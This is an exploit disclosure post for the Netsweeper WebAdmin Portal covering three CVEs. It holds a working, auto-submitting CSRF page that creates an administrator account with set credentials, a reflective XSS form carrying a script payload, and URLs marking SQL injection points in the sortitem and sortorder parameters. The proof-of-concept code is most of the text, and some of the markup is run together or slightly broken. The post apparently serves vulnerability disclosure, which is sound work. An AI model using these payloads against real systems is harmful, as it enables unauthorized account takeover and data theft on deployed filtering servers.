# Exploit Title: Netsweeper WebAdmin Portal CSRF, Reflective XSS, and SQL Injection ("The later")\# Date: Discovered and reported CSRF and XSS 4/2012 and "The later" 7/2012\# Author: Jacob Holcomb/Gimppy042\# Software Link: Netsweeper Inc. - Netsweeper Internet Filter (www.netsweeper.com)\# CVE :
CVE-2012-2446for the XSS issues, CVE-2012-2447for the CSRF,and
CVE-2012-3859for the SQL Injection ("The later)
NOTE:# "The later" was disclosed and reported to Netsweeper at a later date and will be posted as an addendum to this post and my posted disclosure report in the near future. "The later" vulnerability bears CVE-2012-3859.
CSRF Exploitation:
In the following example we use CSRF to forge a HTTP POST request that will create an administrator account. The user must be logged infor CSRF to work. Exploitation of a non-administrative users (Sys op) account results in creation of a standard user account.<head><title>CSRF Create Admin - Netsweeper WebAdmin Portal BY:Jacob Holcomb</title></head><body><form name="pwnd" action="http://server.domain_name/webadmin/accountmgr/adminupdate.php?act=add&filter_login=&goodmsg=Account+Added" method="post"><inputtype="hidden" name="userid" value="netsweeperPWND"/><inputtype="hidden" name="firstname" value="Jacob"/><inputtype="hidden" name="lastname" value="Holcomb"/><inputtype="hidden" name="email" value="pwnd@pwnd.com"/><inputtype="hidden" name="organization" value="yep_PWND"/><inputtype="hidden" name="description" value="PWND"/><inputtype="hidden" name="pass1" value="Pwnd-321"/><inputtype="hidden" name="pass2" value="Pwnd-321"/><inputtype="hidden" name="classification" value="admin"/><inputtype="hidden" name="expire" value=""/><inputtype="hidden" name="accounttheme" value=""/><inputtype="hidden" name="accountpmtheme" value="gpmtheme"/><script>
document.pwnd.submit();</script></body>
XSS Exploitation:
The following POC code exploits a reflective XSS vulnerability using the HTTP POST method.<head><title>Post XSS(Reflective) Netsweeper WebAdmin Portal BY:Jacob Holcomb</title></head><body><form name="pwnd" action="http:// server.domain_name
/webadmin/tools/local_lookup.php?action=lookup" method="post"><inputtype="hidden" name="user" value="pwnd"/><inputtype="hidden" name="group" value="><script>alert('XSS')</script>"/><inputtype="hidden" name="policy" value="pwnd"/><inputtype="hidden" name="url" value="pwnd"/><script>
document.getElementById('pwnd').submit();</script></body>
SQL Injection ("The later") Exploitation:
The Netsweeper Internet Filter WebAdmin Portal is vulnerable to SQL injection,in the sortorder and sortitem variables.
http://SERVER_Hostname/webadmin/reporter/view_details.php?sortitem= SQLi
none &sortorder=asc&type=demand&id=1441or
http://SERVER_Hostname/webadmin/reporter/view_details.php?sortitem=report_date&sortorder= SQLi
none &type=demand&id=1441.